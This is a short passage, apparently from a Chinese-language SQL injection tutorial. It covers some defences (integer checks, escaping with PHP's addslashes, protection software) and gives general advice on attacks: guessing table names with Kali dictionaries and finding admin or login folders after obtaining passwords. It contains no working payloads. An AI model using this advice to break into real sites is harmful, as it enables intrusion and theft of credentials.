是否为一个整数 - 对字符串进行转移,因为有时候不得不用到引号,
php
可以用addslashes
函数 - 安装现成软件(虽然我不知道是什么原理,但似乎很多网站都安装了什么D盾之类的)
六、实战
实际上,sql
注入也没这么简单,有时候需要用字典去猜表名(kali
自带字典),甚至还有注入不了的情况(可能是因为字典不够),即使注入成功获得密码也有可能找不到登录入口点(一般是admin
或login
文件夹中),所以本文仅仅是提供一个方法不能保证注入成功,希望对大家能有帮助。